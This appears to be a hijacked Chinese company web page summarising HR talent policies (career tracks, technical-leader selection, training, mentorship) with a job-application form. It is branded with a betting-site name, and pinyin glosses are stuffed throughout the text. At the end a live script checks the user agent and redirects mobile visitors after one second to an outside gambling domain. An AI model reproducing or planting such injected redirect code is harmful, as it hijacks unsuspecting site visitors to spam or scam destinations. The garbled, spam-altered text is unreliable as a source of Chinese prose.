bet8注册

bet8注册 > 人力资源 > 人才政策

为(wei)了帮助公司广大员工了解和掌握相关人(ren)才(cai)(cai)政(zheng)策,更(geng)好地招聘(pin)人(ren)才(cai)(cai)、留住人(ren)才(cai)(cai)、用好人(ren)才(cai)(cai),现将公司内目前施行的有(you)关人(ren)才(cai)(cai)政(zheng)策摘要如下:


一、员工职业多通道发展

为(wei)加(jia)强和规(gui)范公司员工(gong)职业(ye)生涯(ya)管理,引导(dao)员工(gong)职业(ye)生涯(ya)发(fa)展的(de)途(tu)径和方向,充分(fen)调动全体(ti)员工(gong)的(de)主(zhu)动性和积极性,留住优秀的(de)骨干人才,公司为(wei)员工(gong)设(she)计并建立了多(duo)轨(gui)制职业(ye)发(fa)展通道。

员工(gong)的(de)横(heng)向职业发展通(tong)道主要是通(tong)过(guo)两种(zhong)方(fang)式实(shi)(shi)现(xian)(xian),即生产类员工(gong)主要是实(shi)(shi)行一专多(duo)能的(de)方(fang)式来(lai)(lai)实(shi)(shi)现(xian)(xian),管理类员工(gong)主要是通(tong)过(guo)岗位(wei)轮换的(de)方(fang)式来(lai)(lai)实(shi)(shi)现(xian)(xian)。

而员(yuan)(yuan)(yuan)(yuan)工(gong)(gong)(gong)的纵(zong)向(xiang)职业(ye)发展通道主要包(bao)括:1)、技能型员(yuan)(yuan)(yuan)(yuan)工(gong)(gong)(gong)→中级(ji)技术(shu)工(gong)(gong)(gong)人→高级(ji)技术(shu)工(gong)(gong)(gong)人→技师(shi)→高级(ji)技师(shi)→首席技师(shi)(享受主任工(gong)(gong)(gong)程师(shi)待遇(yu));2)、专业(ye)技术(shu)人员(yuan)(yuan)(yuan)(yuan)→助理工(gong)(gong)(gong)程师(shi)→工(gong)(gong)(gong)程师(shi)→高级(ji)工(gong)(gong)(gong)程师(shi)→主任工(gong)(gong)(gong)程师(shi)→中层(ceng)管(guan)理人员(yuan)(yuan)(yuan)(yuan);3)、基层(ceng)业(ye)务(wu)(wu)人员(yuan)(yuan)(yuan)(yuan)→业(ye)务(wu)(wu)管(guan)理骨干→基层(ceng)管(guan)理人员(yuan)(yuan)(yuan)(yuan)→中层(ceng)管(guan)理人员(yuan)(yuan)(yuan)(yuan)。


二、专业技术带头人、职业技能能手的评选

为(wei)充分(fen)发挥(hui)公司(si)(si)优秀专(zhuan)(zhuan)(zhuan)业(ye)(ye)技(ji)(ji)(ji)术(shu)人(ren)(ren)(ren)(ren)才和(he)(he)职(zhi)业(ye)(ye)技(ji)(ji)(ji)能(neng)能(neng)手(shou)在各专(zhuan)(zhuan)(zhuan)业(ye)(ye)、技(ji)(ji)(ji)术(shu)工(gong)作的(de)(de)(de)(de)带头作用和(he)(he)培(pei)养公司(si)(si)专(zhuan)(zhuan)(zhuan)业(ye)(ye)技(ji)(ji)(ji)术(shu)人(ren)(ren)(ren)(ren)员、技(ji)(ji)(ji)术(shu)工(gong)人(ren)(ren)(ren)(ren)队伍(wu)的(de)(de)(de)(de)传帮带作用,加强公司(si)(si)专(zhuan)(zhuan)(zhuan)业(ye)(ye)技(ji)(ji)(ji)术(shu)人(ren)(ren)(ren)(ren)才和(he)(he)技(ji)(ji)(ji)术(shu)工(gong)人(ren)(ren)(ren)(ren)梯队建设,培(pei)养更多的(de)(de)(de)(de)高(gao)层次专(zhuan)(zhuan)(zhuan)业(ye)(ye)技(ji)(ji)(ji)术(shu)人(ren)(ren)(ren)(ren)才和(he)(he)一专(zhuan)(zhuan)(zhuan)多能(neng)、独当一面的(de)(de)(de)(de)技(ji)(ji)(ji)术(shu)工(gong)人(ren)(ren)(ren)(ren),为(wei)公司(si)(si)的(de)(de)(de)(de)发展提供人(ren)(ren)(ren)(ren)力资源支持,促进公司(si)(si)的(de)(de)(de)(de)发展,公司(si)(si)制定了相应(ying)的(de)(de)(de)(de)《专(zhuan)(zhuan)(zhuan)业(ye)(ye)技(ji)(ji)(ji)术(shu)带头人(ren)(ren)(ren)(ren)和(he)(he)职(zhi)业(ye)(ye)技(ji)(ji)(ji)能(neng)能(neng)手(shou)评(ping)选管理办法》。

公司在(zai)岗的专(zhuan)业(ye)(ye)(ye)技(ji)术人(ren)(ren)员、职业(ye)(ye)(ye)技(ji)能(neng)型人(ren)(ren)才可(ke)参(can)加两年一(yi)次的专(zhuan)业(ye)(ye)(ye)技(ji)术带头人(ren)(ren)和(he)职业(ye)(ye)(ye)技(ji)能(neng)能(neng)手的评选(xuan)活动,在(zai)管理期限内,专(zhuan)业(ye)(ye)(ye)技(ji)术带头人(ren)(ren)和(he)职业(ye)(ye)(ye)技(ji)能(neng)能(neng)手每月发放一(yi)定额度的奖励(li)金。


三、人力资源培训与开发

员工(gong)(gong)享(xiang)有(you)根据工(gong)(gong)作(zuo)需(xu)要参加培(pei)训(xun)(xun)与开发(fa)的(de)(de)权利和(he)接受(shou)培(pei)训(xun)(xun)与开发(fa)的(de)(de)义务。培(pei)训(xun)(xun)与开发(fa)是(shi)引导员工(gong)(gong)做(zuo)好个人职业(ye)的(de)(de)发(fa)展规划,并负责为(wei)员工(gong)(gong)创造学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)环境和(he)机会,逐步(bu)建立员工(gong)(gong)职业(ye)发(fa)展体系和(he)终身(shen)学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)机制,促进员工(gong)(gong)培(pei)训(xun)(xun)由(you)“要我培(pei)训(xun)(xun)”向“我要培(pei)训(xun)(xun)”转变(bian),实现员工(gong)(gong)职业(ye)发(fa)展与企业(ye)发(fa)展的(de)(de)双(shuang)赢。公司全(quan)体员工(gong)(gong)要树立工(gong)(gong)作(zuo)学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)化(hua)(hua),学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)工(gong)(gong)作(zuo)化(hua)(hua),学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)生(sheng)活化(hua)(hua),学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)终身(shen)化(hua)(hua)的(de)(de)学(xue)(xue)(xue)习(xi)(xi)(xi)(xi)理念。

员工培(pei)(pei)(pei)训与开发应根据其所从(cong)事的实际工作需要,结合个人职业生涯规划来开展,以岗(gang)位培(pei)(pei)(pei)训、专业技能培(pei)(pei)(pei)训、内部培(pei)(pei)(pei)训、不脱产培(pei)(pei)(pei)训为主。

经(jing)营管理(li)(中层管理(li)、后备(bei))人才培(pei)训(xun)与(yu)开(kai)发(fa)方式(shi)主要有:外出(chu)脱产短(duan)期培(pei)训(xun)学习(xi)、到兄弟厂家考(kao)察(cha)交流、参(can)加相关行(xing)业组(zu)织(zhi)的(de)交流会,外出(chu)进(jin)修培(pei)训(xun)、参(can)加公(gong)开(kai)课培(pei)训(xun)等(deng)。

专业(ye)技术(shu)人(ren)才(cai)的(de)培(pei)训(xun)与(yu)开发(fa)方式主(zhu)要有:参加所属专业(ye)的(de)继续教(jiao)(jiao)育(如企业(ye)法律顾(gu)问(wen)、质量工(gong)(gong)程(cheng)师(shi)、监理工(gong)(gong)程(cheng)师(shi)、造价师(shi)、注(zhu)册安全(quan)工(gong)(gong)程(cheng)师(shi)等执业(ye)资质注(zhu)册继续教(jiao)(jiao)育培(pei)训(xun))、行业(ye)协会组织的(de)交流会、研修班、学术(shu)活动(dong)、考察、进修等。

技(ji)能型人才的培训与开(kai)发方(fang)式主要有:个别指导(师带徒(tu))、办讲(jiang)座(zuo)班(ban)、案例分析、模(mo)拟演练(lian)、事故处置(zhi)训练(lian)、轮岗培训、多工种(zhong)培训等(deng)。


四、师带徒活动

以(yi)(yi)公(gong)司(si)(si)具(ju)有(you)较(jiao)高企业(ye)管理(li)(li)知识和(he)专(zhuan)业(ye)理(li)(li)论(lun)知识、丰富的(de)(de)(de)(de)工作(zuo)(zuo)实践经(jing)验的(de)(de)(de)(de)管理(li)(li)人(ren)才、专(zhuan)业(ye)技(ji)术人(ren)才作(zuo)(zuo)为(wei)(wei)导师,将(jiang)公(gong)司(si)(si)有(you)发展潜力(li)的(de)(de)(de)(de)专(zhuan)业(ye)技(ji)术、经(jing)营(ying)管理(li)(li)等岗(gang)(gang)(gang)位的(de)(de)(de)(de)骨干作(zuo)(zuo)为(wei)(wei)学(xue)生(sheng),建立师徒关(guan)系(xi);以(yi)(yi)具(ju)有(you)精湛技(ji)艺、专(zhuan)业(ye)理(li)(li)论(lun)知识的(de)(de)(de)(de)技(ji)师或具(ju)有(you)较(jiao)高技(ji)术专(zhuan)长和(he)实践经(jing)验的(de)(de)(de)(de)能工巧匠、技(ji)术能手、技(ji)术骨干作(zuo)(zuo)为(wei)(wei)师傅,将(jiang)公(gong)司(si)(si)重要(yao)(yao)、关(guan)键生(sheng)产和(he)维护岗(gang)(gang)(gang)位的(de)(de)(de)(de)有(you)潜力(li)的(de)(de)(de)(de)技(ji)能型(xing)人(ren)员作(zuo)(zuo)为(wei)(wei)徒弟,建立师徒关(guan)系(xi);以(yi)(yi)岗(gang)(gang)(gang)位主(zhu)要(yao)(yao)操作(zuo)(zuo)人(ren)员作(zuo)(zuo)为(wei)(wei)师傅,将(jiang)新招(zhao)聘人(ren)员、转(zhuan)岗(gang)(gang)(gang)、试岗(gang)(gang)(gang)人(ren)员作(zuo)(zuo)为(wei)(wei)徒弟,建立师徒关(guan)系(xi)。通过开展“师带徒”活动,更快、更好地(di)鼓励员工不断成长,充分挖掘(jue)现有(you)人(ren)力(li)资(zi)源(yuan)的(de)(de)(de)(de)潜力(li),为(wei)(wei)公(gong)司(si)(si)的(de)(de)(de)(de)发展提供人(ren)力(li)资(zi)源(yuan)支持。

“师(shi)带徒(tu)(tu)”的导师(shi)(师(shi)傅(fu))承(cheng)担了相应(ying)(ying)的责(ze)任,履行(xing)了相应(ying)(ying)的义务(wu),应(ying)(ying)享(xiang)有(you)相应(ying)(ying)的“师(shi)带徒(tu)(tu)+”津贴(tie)(tie),该津贴(tie)(tie)在协议期(qi)满(man)经考核后(hou)及(ji)时支付。

姓名: 性别: 民族:
出生年月: 联系电话: 工作经验:
学历: 专业: 技术职称:
求职意向: 目标职位:
期望薪资: 到岗时间:
离职原因:
证明人: 联系方式: 与证明人关系:
薪资状态:
关闭
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();